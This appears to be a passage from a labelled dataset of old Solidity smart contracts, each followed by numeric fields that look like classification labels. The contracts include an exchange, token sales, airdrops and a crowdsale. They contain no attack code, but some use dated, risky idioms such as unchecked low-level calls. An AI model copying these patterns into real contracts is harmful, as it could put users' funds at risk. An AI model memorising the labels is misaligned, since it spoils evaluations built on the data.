function withdrawByAdmin(address token, uint256 amount, address user, uint nonce, uint8 v, bytes32 r, bytes32 s)
external onlyAdmin {
require(amount > 0);
bytes32 hash = keccak256(abi.encode(WITHDRAWAL_TYPEHASH, token, amount, nonce));
require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, hash)), v, r, s) == user);
require(!withdrawn[hash]);
withdrawn[hash] = true;
require(reduceBalance(user, token, amount));
require(sendToUser(user, token, amount));
}
function withdraw(address token, uint256 amount) external {
require(amount > 0);
require(tradesLocked[msg.sender] > block.number);
require(reduceBalance(msg.sender, token, amount));
require(sendToUser(msg.sender, token, amount));
emit Withdraw(token, msg.sender, amount, balances[token][msg.sender]);
}
function reduceBalance(address user, address token, uint256 amount) private returns(bool) {
if (balances[token][user] < amount) return false;
balances[token][user] = safeSub(balances[token][user], amount);
return true;
}
function increaseBalanceOrWithdraw(address user, address token, uint256 amount, uint256 _withdraw) private returns(bool) {
if (_withdraw == 1) {
return sendToUser(user, token, amount);
} else {
return increaseBalance(user, token, amount);
}
}
function increaseBalance(address user, address token, uint256 amount) private returns(bool) {
balances[token][user] = safeAdd(balances[token][user], amount);
return true;
}
function sendToUser(address user, address token, uint256 amount) private returns(bool) {
if (token == address(0)) {
return user.send(toTokenAmount(address(0), amount));
} else {
return safeTransfer(token, user, toTokenAmount(token, amount));
}
}
function toTokenAmount(address token, uint256 amount) private view returns (uint256) {
require(tokenRegistered[token]);
uint256 decimals = token == address(0)
? 18
: tokenDecimals[token];
if (decimals == 8) {
return amount;
}
if (decimals > 8) {
return safeMul(amount, 10**(decimals - 8));
} else {
return safeDiv(amount, 10**(8 - decimals));
}
}
function setTakerFeeRate(uint256 feeRate) external onlyAdmin {
require(feeRate == 0 || feeRate >= feeRateLimit);
takerFeeRate = feeRate;
}
function setMakerFeeRate(uint256 feeRate) external onlyAdmin {
require(feeRate == 0 || feeRate >= feeRateLimit);
makerFeeRate = feeRate;
}
function setFeeAddress(address _feeAddress) external onlyAdmin {
require(_feeAddress != address(0));
feeAddress = _feeAddress;
}
function disableFeesForUser(address user, uint256 timestamp) external onlyAdmin {
require(timestamp > block.timestamp);
disableFees[user] = timestamp;
}
function registerToken(address token, uint256 decimals) external onlyAdmin {
require(!tokenRegistered[token]);
tokenRegistered[token] = true;
tokenDecimals[token] = decimals;
}
function tradesLock(address user) external {
require(user == msg.sender);
tradesLocked[user] = block.number + 20000;
emit TradesLock(user);
}
function tradesUnlock(address user) external {
require(user == msg.sender);
tradesLocked[user] = 0;
emit TradesUnlock(user);
}
function isUserMakerFeeEnabled(address user) private view returns(bool) {
return makerFeeRate > 0 && disableFees[user] < block.timestamp;
}
function isUserTakerFeeEnabled(address user) private view returns(bool) {
return takerFeeRate > 0 && disableFees[user] < block.timestamp;
}
function calculatePrice(uint256 offerAmount, uint256 wantAmount, uint256 sellSide) private pure returns(uint256) {
return sellSide == 0
? safeDiv(safeMul(10**8, offerAmount), wantAmount)
: safeDiv(safeMul(10**8, wantAmount), offerAmount);
}
function trade(
uint256[10] amounts,
address[4] addresses,
uint256[5] values,
bytes32[4] rs
) external onlyAdmin {
require(tradesLocked[addresses[0]] < block.number);
require(block.timestamp <= amounts[2]);
bytes32 orderHash = keccak256(abi.encode(ORDER_TYPEHASH, addresses[2], addresses[3], amounts[0], amounts[1], values[2], values[4], amounts[2], amounts[3]));
require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, orderHash)), uint8(values[0]), rs[0], rs[1]) == addresses[0]);
orderFills[orderHash] = safeAdd(orderFills[orderHash], amounts[8]);
require(orderFills[orderHash] <= amounts[0]);
require(tradesLocked[addresses[1]] < block.number);
require(block.timestamp <= amounts[6]);
bytes32 orderHash2 = keccak256(abi.encode(ORDER_TYPEHASH, addresses[3], addresses[2], amounts[4], amounts[5], values[3], values[4] == 0 ? 1 : 0, amounts[6], amounts[7]));
require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, orderHash2)), uint8(values[1]), rs[2], rs[3]) == addresses[1]);
uint256 makerPrice = calculatePrice(amounts[0], amounts[1], values[4]);
uint256 takerPrice = calculatePrice(amounts[4], amounts[5], values[4] == 0 ? 1 : 0);
require(values[4] == 0 && makerPrice >= takerPrice
|| values[4] == 1 && makerPrice <= takerPrice);
require(makerPrice == calculatePrice(amounts[8], amounts[9], values[4]));
orderFills[orderHash2] = safeAdd(orderFills[orderHash2], amounts[9]);
require(orderFills[orderHash2] <= amounts[4]);
require(reduceBalance(addresses[0], addresses[2], amounts[8]));
require(reduceBalance(addresses[1], addresses[3], amounts[9]));
if (isUserMakerFeeEnabled(addresses[0])) {
require(increaseBalanceOrWithdraw(addresses[0], addresses[3], safeSub(amounts[9], safeDiv(amounts[9], makerFeeRate)), values[2]));
increaseBalance(feeAddress, addresses[3], safeDiv(amounts[9], makerFeeRate));
} else {
require(increaseBalanceOrWithdraw(addresses[0], addresses[3], amounts[9], values[2]));
}
if (isUserTakerFeeEnabled(addresses[1])) {
require(increaseBalanceOrWithdraw(addresses[1], addresses[2], safeSub(amounts[8], safeDiv(amounts[8], takerFeeRate)), values[3]));
increaseBalance(feeAddress, addresses[2], safeDiv(amounts[8], takerFeeRate));
} else {
require(increaseBalanceOrWithdraw(addresses[1], addresses[2], amounts[8], values[3]));
}
}
function tradeWithTips(
uint256[10] amounts,
address[4] addresses,
uint256[9] values,
bytes32[4] rs
) external onlyAdmin {
require(tradesLocked[addresses[0]] < block.number);
require(block.timestamp <= amounts[2]);
bytes32 orderHash = values[5] > 0 || values[6] > 0
? keccak256(abi.encode(ORDER_WITH_TIPS_TYPEHASH, addresses[2], addresses[3], amounts[0], amounts[1], values[2], values[4], amounts[2], amounts[3], values[5], values[6]))
: keccak256(abi.encode(ORDER_TYPEHASH, addresses[2], addresses[3], amounts[0], amounts[1], values[2], values[4], amounts[2], amounts[3]));
require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, orderHash)), uint8(values[0]), rs[0], rs[1]) == addresses[0]);
orderFills[orderHash] = safeAdd(orderFills[orderHash], amounts[8]);
require(orderFills[orderHash] <= amounts[0]);
require(tradesLocked[addresses[1]] < block.number);
require(block.timestamp <= amounts[6]);
bytes32 orderHash2 = values[7] > 0 || values[8] > 0
? keccak256(abi.encode(ORDER_WITH_TIPS_TYPEHASH, addresses[3], addresses[2], amounts[4], amounts[5], values[3], values[4] == 0 ? 1 : 0, amounts[6], amounts[7], values[7], values[8]))
: keccak256(abi.encode(ORDER_TYPEHASH, addresses[3], addresses[2], amounts[4], amounts[5], values[3], values[4] == 0 ? 1 : 0, amounts[6], amounts[7]));
require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, orderHash2)), uint8(values[1]), rs[2], rs[3]) == addresses[1]);
uint256 makerPrice = calculatePrice(amounts[0], amounts[1], values[4]);
uint256 takerPrice = calculatePrice(amounts[4], amounts[5], values[4] == 0 ? 1 : 0);
require(values[4] == 0 && makerPrice >= takerPrice
|| values[4] == 1 && makerPrice <= takerPrice);
require(makerPrice == calculatePrice(amounts[8], amounts[9], values[4]));
orderFills[orderHash2] = safeAdd(orderFills[orderHash2], amounts[9]);
require(orderFills[orderHash2] <= amounts[4]);
require(reduceBalance(addresses[0], addresses[2], amounts[8]));
require(reduceBalance(addresses[1], addresses[3], amounts[9]));
if (values[5] > 0 && !isUserMakerFeeEnabled(addresses[0])) {
increaseBalanceOrWithdraw(addresses[0], addresses[3], safeSub(amounts[9], safeDiv(amounts[9], values[5])), values[2]);
increaseBalance(feeAddress, addresses[3], safeDiv(amounts[9], values[5]));
} else if (values[5] == 0 && isUserMakerFeeEnabled(addresses[0])) {
increaseBalanceOrWithdraw(addresses[0], addresses[3], safeSub(amounts[9], safeDiv(amounts[9], makerFeeRate)), values[2]);
increaseBalance(feeAddress, addresses[3], safeDiv(amounts[9], makerFeeRate));
} else if (values[5] > 0 && isUserMakerFeeEnabled(addresses[0])) {
increaseBalanceOrWithdraw(addresses[0], addresses[3], safeSub(amounts[9], safeAdd(safeDiv(amounts[9], values[5]), safeDiv(amounts[9], makerFeeRate))), values[2]);
increaseBalance(feeAddress, addresses[3], safeAdd(safeDiv(amounts[9], values[5]), safeDiv(amounts[9], makerFeeRate)));
} else {
increaseBalanceOrWithdraw(addresses[0], addresses[3], amounts[9], values[2]);
}
if (values[8] > 0 && !isUserTakerFeeEnabled(addresses[1])) {
increaseBalanceOrWithdraw(addresses[1], addresses[2], safeSub(amounts[8], safeDiv(amounts[8], values[8])), values[3]);
increaseBalance(feeAddress, addresses[2], safeDiv(amounts[8], values[8]));
} else if (values[8] == 0 && isUserTakerFeeEnabled(addresses[1])) {
increaseBalanceOrWithdraw(addresses[1], addresses[2], safeSub(amounts[8], safeDiv(amounts[8], takerFeeRate)), values[3]);
increaseBalance(feeAddress, addresses[2], safeDiv(amounts[8], takerFeeRate));
} else if (values[8] > 0 && isUserTakerFeeEnabled(addresses[1])) {
increaseBalanceOrWithdraw(addresses[1], addresses[2], safeSub(amounts[8], safeAdd(safeDiv(amounts[8], values[8]), safeDiv(amounts[8], takerFeeRate))), values[3]);
increaseBalance(feeAddress, addresses[2], safeAdd(safeDiv(amounts[8], values[8]), safeDiv(amounts[8], takerFeeRate)));
} else {
increaseBalanceOrWithdraw(addresses[1], addresses[2], amounts[8], values[3]);
}
}
function() public payable {
revert();
}
function safeMul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function safeDiv(uint a, uint b) internal pure returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeTransfer(
address token,
address to,
uint256 value)
private
returns (bool success)
{
success = token.call(0xa9059cbb, to, value);
return checkReturnValue(success);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value)
private
returns (bool success)
{
success = token.call(0x23b872dd, from, to, value);
return checkReturnValue(success);
}
function checkReturnValue(
bool success
)
private
pure
returns (bool)
{
if (success) {
assembly {
switch returndatasize()
case 0 {
success := 1
}
case 32 {
returndatacopy(0, 0, 32)
success := mload(0)
}
default {
success := 0
}
}
}
return success;
}
} | 0 | 447 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract AltcoinToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function transferFrom(address from, address to, uint256 value) public returns (bool);
}
contract InvestDRMK is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
address _tokenContract = 0x0a450affd2172dbfbe1b8729398fadb1c9d3dce7;
AltcoinToken thetoken = AltcoinToken(_tokenContract);
uint256 public tokensPerEth = 21500e4;
uint256 public tokensPerAirdrop = 5e4;
uint256 public bonus = 0;
uint256 public airdropcounter = 0;
uint256 public constant minContribution = 1 ether / 1000;
uint256 public constant extraBonus = 1 ether;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Distr(address indexed to, uint256 amount);
event TokensPerEthUpdated(uint _tokensPerEth);
event TokensPerAirdropUpdated(uint _tokensPerEth);
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function InvestDRMK () public {
owner = msg.sender;
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function updateTokensPerAirdrop(uint _tokensPerAirdrop) public onlyOwner {
tokensPerAirdrop = _tokensPerAirdrop;
emit TokensPerAirdropUpdated(_tokensPerAirdrop);
}
function () external payable {
if ( msg.value >= minContribution) {
sendTokens();
}
else if ( msg.value < minContribution) {
airdropcounter = airdropcounter + 1;
sendAirdrop();
}
}
function sendTokens() private returns (bool) {
uint256 tokens = 0;
require( msg.value >= minContribution );
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
bonus = 0;
if ( msg.value >= extraBonus ) {
bonus = tokens / 2;
}
tokens = tokens + bonus;
sendtokens(thetoken, tokens, investor);
}
function sendAirdrop() private returns (bool) {
require( airdropcounter < 1000 );
uint256 tokens = 0;
tokens = tokensPerAirdrop / 1 ether;
address holder = msg.sender;
sendtokens(thetoken, tokens, holder);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
AltcoinToken t = AltcoinToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdraw() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function resetAirdrop() onlyOwner public {
airdropcounter=0;
}
function withdrawAltcoinTokens(address anycontract) onlyOwner public returns (bool) {
AltcoinToken anytoken = AltcoinToken(anycontract);
uint256 amount = anytoken.balanceOf(address(this));
return anytoken.transfer(owner, amount);
}
function sendtokens(address contrato, uint256 amount, address who) private returns (bool) {
AltcoinToken alttoken = AltcoinToken(contrato);
return alttoken.transfer(who, amount);
}
} | 1 | 3,929 |
pragma solidity 0.5.0;
interface Token {
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function transfer(address _to, uint256 _value) external returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
function approve(address _spender, uint256 _value) external returns (bool success);
function balanceOf(address _who) external view returns (uint256);
function allowance(address _owner, address _spender) external view returns (uint256);
}
contract HSendBatchTokens {
mapping (address => mapping (address => bool)) private wasAirdropped;
function sendBatchTokens(
address[] calldata _targets,
address _token)
external
returns (bool success)
{
uint256 length = _targets.length;
uint256 amount = 1 * 10 ** 18;
Token token = Token(_token);
require(
token.transferFrom(
msg.sender,
address(this),
(amount * length)
)
);
for (uint256 i = 0; i < length; i++) {
if (token.balanceOf(_targets[i]) > uint256(0)) continue;
if(wasAirdropped[_token][_targets[i]]) continue;
wasAirdropped[_token][_targets[i]] = true;
require(
token.transfer(
_targets[i],
amount
)
);
}
if (token.balanceOf(address(this)) > uint256(0)) {
require(
token.transfer(
msg.sender,
token.balanceOf(address(this))
)
);
}
success = true;
}
function hasReceivedAirdrop(
address _token,
address _target)
external
view
returns (bool)
{
return wasAirdropped[_token][_target];
}
} | 1 | 3,559 |
pragma solidity ^0.4.15;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Base {
modifier only(address allowed) {
require(msg.sender == allowed);
_;
}
uint constant internal L00 = 2 ** 0;
uint constant internal L01 = 2 ** 1;
uint constant internal L02 = 2 ** 2;
uint constant internal L03 = 2 ** 3;
uint constant internal L04 = 2 ** 4;
uint constant internal L05 = 2 ** 5;
uint private bitlocks = 0;
modifier noAnyReentrancy {
var _locks = bitlocks;
require(_locks == 0);
bitlocks = uint(-1);
_;
bitlocks = _locks;
}
}
contract Owned {
address public owner;
address public newOwner;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function Owned() public {
owner = msg.sender;
}
function transferOwnership(address _newOwner) onlyOwner public {
newOwner = _newOwner;
}
function acceptOwnership() onlyOwner public {
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
event OwnershipTransferred(address indexed _from, address indexed _to);
}
contract ERC20 {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract StandartToken is ERC20 {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
bool public isStarted = false;
modifier isStartedOnly() {
require(isStarted);
_;
}
function transfer(address _to, uint256 _value) isStartedOnly public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) isStartedOnly public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) isStartedOnly public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) isStartedOnly public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) isStartedOnly public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract AnonymToken is Owned, StandartToken {
string public name = "Anonym";
string public symbol = "ANM";
uint public decimals = 18;
address public crowdsaleMinter;
event Mint(address indexed to, uint256 amount);
modifier canMint() {
require(!isStarted);
_;
}
modifier onlyCrowdsaleMinter(){
require(msg.sender == crowdsaleMinter);
_;
}
function () public {
revert();
}
function setCrowdsaleMinter(address _crowdsaleMinter)
public
onlyOwner
canMint
{
crowdsaleMinter = _crowdsaleMinter;
}
function mint(address _to, uint256 _amount)
onlyCrowdsaleMinter
canMint
public
returns (bool)
{
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
function start()
onlyCrowdsaleMinter
canMint
public
returns (bool)
{
isStarted = true;
return true;
}
} | 1 | 2,064 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract ERC20 {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
}
contract ROKToken is ERC20, Ownable {
using SafeMath for uint256;
string public constant name = "ROK Token";
string public constant symbol = "ROK";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 100000000000000000000000000;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
function ROKToken() {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function unlockTransfer(address _spender, uint256 _value) public returns (bool) {
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function burn(uint256 _value) public returns (bool success){
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
return true;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused {
paused = false;
Unpause();
}
}
contract PullPayment {
using SafeMath for uint256;
mapping (address => uint256) public payments;
uint256 public totalPayments;
function asyncSend(address dest, uint256 amount) internal {
payments[dest] = payments[dest].add(amount);
totalPayments = totalPayments.add(amount);
}
function withdrawPayments() {
address payee = msg.sender;
uint256 payment = payments[payee];
require(payment != 0);
require(this.balance >= payment);
totalPayments = totalPayments.sub(payment);
payments[payee] = 0;
assert(payee.send(payment));
}
}
contract Crowdsale is Pausable, PullPayment {
using SafeMath for uint256;
address public owner;
ROKToken public rok;
address public escrow;
address public bounty ;
address public team;
uint256 public rateETH_ROK;
uint256 public constant minimumPurchase = 0.1 ether;
uint256 public constant maxFundingGoal = 100000 ether;
uint256 public constant minFundingGoal = 18000 ether;
uint256 public constant startDate = 1509534000;
uint256 public constant deadline = 1512126000;
uint256 public constant refundeadline = 1515927600;
uint256 public savedBalance = 0;
uint256 public savedBalanceToken = 0;
bool public crowdsaleclosed = false;
mapping (address => uint256) balances;
mapping (address => uint256) balancesRokToken;
mapping (address => bool) KYClist;
event Contribution(address indexed _contributor, uint256 indexed _value, uint256 indexed _tokens);
event PayEther(
address indexed _receiver,
uint256 indexed _value,
uint256 indexed _timestamp
);
event BurnTokens(
uint256 indexed _value,
uint256 indexed _timestamp
);
function Crowdsale(){
owner = msg.sender;
rok = ROKToken(0xc9de4b7f0c3d991e967158e4d4bfa4b51ec0b114);
escrow = 0x049ca649c977ec36368f31762ff7220db0aae79f;
bounty = 0x50Cc6F2D548F7ecc22c9e9F994E4C0F34c7fE8d0;
team = 0x33462171A814d4eDa97Cf3a112abE218D05c53C2;
rateETH_ROK = 1000;
}
function() payable whenNotPaused{
if (msg.sender == escrow){
balances[this] = msg.value;
}
else{
contribute(msg.sender);
}
}
function contribute(address contributor) internal{
require(isStarted());
require(!isComplete());
assert((savedBalance.add(msg.value)) <= maxFundingGoal);
assert(msg.value >= minimumPurchase);
balances[contributor] = balances[contributor].add(msg.value);
savedBalance = savedBalance.add(msg.value);
uint256 Roktoken = rateETH_ROK.mul(msg.value) + getBonus(rateETH_ROK.mul(msg.value));
uint256 RokToSend = (Roktoken.mul(80)).div(100);
balancesRokToken[contributor] = balancesRokToken[contributor].add(RokToSend);
savedBalanceToken = savedBalanceToken.add(Roktoken);
escrow.transfer(msg.value);
PayEther(escrow, msg.value, now);
}
function isStarted() constant returns (bool) {
return now >= startDate;
}
function isComplete() constant returns (bool) {
return (savedBalance >= maxFundingGoal) || (now > deadline) || (savedBalanceToken >= rok.totalSupply()) || (crowdsaleclosed == true);
}
function tokenBalance() constant returns (uint256 balance) {
return rok.balanceOf(address(this));
}
function isSuccessful() constant returns (bool) {
return (savedBalance >= minFundingGoal);
}
function checkEthBalance(address _contributor) constant returns (uint256 balance) {
return balances[_contributor];
}
function checkRokSold() constant returns (uint256 total) {
return (savedBalanceToken);
}
function checkRokTeam() constant returns (uint256 totalteam) {
return (savedBalanceToken.mul(19).div(100));
}
function checkRokBounty() constant returns (uint256 totalbounty) {
return (savedBalanceToken.div(100));
}
function refundPeriodOver() constant returns (bool){
return (now > refundeadline);
}
function refundPeriodStart() constant returns (bool){
return (now > deadline);
}
function percentOfGoal() constant returns (uint16 goalPercent) {
return uint16((savedBalance.mul(100)).div(minFundingGoal));
}
function getBonus(uint256 amount) internal constant returns (uint256) {
uint bonus = 0;
uint firstbonusdate = 1509879600;
uint secondbonusdate = 1510311600;
if (now <= firstbonusdate) {bonus = amount.div(10);}
else if (now <= secondbonusdate && now >= firstbonusdate) {bonus = amount.div(20);}
return bonus;
}
function setBalance(address sender,uint256 value) internal{
balances[sender] = value;
}
function finalize() onlyOwner {
require(isStarted());
require(!isComplete());
crowdsaleclosed = true;
}
function payout() onlyOwner {
if (isSuccessful() && isComplete()) {
rok.transfer(bounty, checkRokBounty());
payTeam();
}
else {
if (refundPeriodOver()) {
escrow.transfer(savedBalance);
PayEther(escrow, savedBalance, now);
rok.transfer(bounty, checkRokBounty());
payTeam();
}
}
}
function payTeam() internal {
assert(checkRokTeam() > 0);
rok.transfer(team, checkRokTeam());
if (checkRokSold() < rok.totalSupply()) {
rok.burn(rok.totalSupply().sub(checkRokSold()));
BurnTokens(rok.totalSupply().sub(checkRokSold()), now);
}
}
function updateKYClist(address[] allowed) onlyOwner{
for (uint i = 0; i < allowed.length; i++) {
if (KYClist[allowed[i]] == false) {
KYClist[allowed[i]] = true;
}
}
}
function claim() public{
require(isComplete());
require(checkEthBalance(msg.sender) > 0);
if(checkEthBalance(msg.sender) <= (3 ether)){
rok.transfer(msg.sender,balancesRokToken[msg.sender]);
balancesRokToken[msg.sender] = 0;
}
else{
require(KYClist[msg.sender] == true);
rok.transfer(msg.sender,balancesRokToken[msg.sender]);
balancesRokToken[msg.sender] = 0;
}
}
function refund() public {
require(!isSuccessful());
require(refundPeriodStart());
require(!refundPeriodOver());
require(checkEthBalance(msg.sender) > 0);
uint ETHToSend = checkEthBalance(msg.sender);
setBalance(msg.sender,0);
asyncSend(msg.sender, ETHToSend);
}
function partialRefund(uint256 value) public {
require(!isSuccessful());
require(refundPeriodStart());
require(!refundPeriodOver());
require(checkEthBalance(msg.sender) >= value);
setBalance(msg.sender,checkEthBalance(msg.sender).sub(value));
asyncSend(msg.sender, value);
}
} | 1 | 3,761 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 {
function allowance(address owner, address spender) public constant returns (uint256);
function balanceOf(address who) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract FutureGame {
using SafeMath for uint256;
using SafeMath for uint128;
using SafeMath for uint32;
using SafeMath for uint8;
address public owner;
